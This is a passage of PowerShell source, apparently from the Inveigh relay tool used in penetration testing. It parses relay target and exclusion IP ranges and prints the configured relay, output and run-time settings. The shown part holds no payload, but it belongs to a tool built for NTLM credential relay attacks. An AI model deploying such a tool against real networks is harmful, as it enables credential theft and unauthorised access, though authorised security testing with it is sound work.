$IP_range_end = $IP_network_begin + $target_array[1]
$targets[$i] = $target_array[0] + "-" + $IP_range_end
}
}
}
}
ForEach($entry in $targets)
{
$entry_split = $null
if($entry.contains("/"))
{
$entry_split = $entry.Split("/")
$IP = $entry_split[0]
$CIDR = $entry_split[1]
[Array]$target_range = Convert-RangetoIPList -IP $IP -CIDR $CIDR
$target_list.AddRange($target_range)
}
elseif($entry.contains("-"))
{
$entry_split = $entry.Split("-")
if($entry_split[0] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b" -and
$entry_split[1] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b")
{
$start_address = $entry_split[0]
$end_address = $entry_split[1]
[Array]$target_range = Convert-RangetoIPList -Start $start_address -End $end_address
$target_list.AddRange($target_range)
}
else
{
$target_list.Add($entry) > $null
}
}
else
{
$target_list.Add($entry) > $null
}
}
return $target_list
}
if($Target)
{
if($Target.Count -eq 1)
{
$inveigh.output_queue.Add("[+] Relay Target = " + ($Target -join ",")) > $null
}
elseif($Target.Count -gt 3)
{
$inveigh.output_queue.Add("[+] Relay Targets = " + ($Target[0..2] -join ",") + "...") > $null
}
else
{
$inveigh.output_queue.Add("[+] Relay Targets = " + ($Target -join ",")) > $null
}
$inveigh.output_queue.Add("[*] Parsing Relay Target List") > $null
$inveigh.target_list = New-Object System.Collections.ArrayList
[Array]$target_range = Get-TargetList $Target
$inveigh.target_list.AddRange($target_range)
}
if($TargetExclude)
{
if($TargetExclude.Count -eq 1)
{
$inveigh.output_queue.Add("[+] Relay Target Exclude = " + ($TargetExclude -join ",")) > $null
}
elseif($TargetExclude.Count -gt 3)
{
$inveigh.output_queue.Add("[+] Relay Targets Exclude = " + ($TargetExclude[0..2] -join ",") + "...") > $null
}
else
{
$inveigh.output_queue.Add("[+] Relay Targets Exclude = " + ($TargetExclude -join ",")) > $null
}
$inveigh.output_queue.Add("[*] Parsing Relay Target Exclude List") > $null
$inveigh.target_exclude_list = New-Object System.Collections.ArrayList
[Array]$target_range = Get-TargetList $TargetExclude
$inveigh.target_exclude_list.AddRange($TargetExclude)
}
if($Username)
{
if($Username.Count -eq 1)
{
$inveigh.output_queue.Add("[+] Relay Username = " + ($Username -join ",")) > $null
}
else
{
$inveigh.output_queue.Add("[+] Relay Usernames = " + ($Username -join ",")) > $null
}
}
if($RelayAutoDisable -eq 'Y')
{
$inveigh.output_queue.Add("[+] Relay Auto Disable = Enabled") > $null
}
else
{
$inveigh.output_queue.Add("[+] Relay Auto Disable = Disabled") > $null
}
if($RelayAutoExit -eq 'Y')
{
$inveigh.output_queue.Add("[+] Relay Auto Exit = Enabled") > $null
}
else
{
$inveigh.output_queue.Add("[+] Relay Auto Exit = Disabled") > $null
}
if($Service)
{
$inveigh.output_queue.Add("[+] Relay Service = $Service") > $null
}
if($ConsoleOutput -ne 'N')
{
if($ConsoleOutput -eq 'Y')
{
$inveigh.output_queue.Add("[+] Real Time Console Output = Enabled") > $null
}
else
{
$inveigh.output_queue.Add("[+] Real Time Console Output = $ConsoleOutput") > $null
}
$inveigh.console_output = $true
if($ConsoleStatus -eq 1)
{
$inveigh.output_queue.Add("[+] Console Status = $ConsoleStatus Minute") > $null
}
elseif($ConsoleStatus -gt 1)
{
$inveigh.output_queue.Add("[+] Console Status = $ConsoleStatus Minutes") > $null
}
}
else
{
if($inveigh.tool -eq 1)
{
$inveigh.output_queue.Add("[!] Real Time Console Output Disabled Due To External Tool Selection") > $null
}
else
{
$inveigh.output_queue.Add("[+] Real Time Console Output = Disabled") > $null
}
}
if($ConsoleUnique -eq 'Y')
{
$inveigh.console_unique = $true
}
else
{
$inveigh.console_unique = $false
}
if($FileOutput -eq 'Y')
{
$inveigh.output_queue.Add("[+] Real Time File Output = Enabled") > $null
$inveigh.output_queue.Add("[+] Output Directory = $output_directory") > $null
$inveigh.file_output = $true
}
else
{
$inveigh.output_queue.Add("[+] Real Time File Output = Disabled") > $null
}
if($FileUnique -eq 'Y')
{
$inveigh.file_unique = $true
}
else
{
$inveigh.file_unique = $false
}
if($LogOutput -eq 'Y')
{
$inveigh.log_output = $true
}
else
{
$inveigh.log_output = $false
}
if($RunTime -eq 1)
{
$inveigh.output_queue.Add("[+] Run Time = $RunTime Minute") > $null
}
elseif($RunTime -gt 1)
{
$inveigh.output_queue.Add("[+] Run Time = $RunTime Minutes") > $null
}
if($ShowHelp -eq 'Y')
{
$inveigh.output_queue.Add("[!] Run Stop-Inveigh to stop") > $null
if($inveigh.console_output)
{
$inveigh.output_queue.Add("[*] Press any key to stop console output") > $null
}
}
while($inveigh.output_queue.Count -gt 0)
{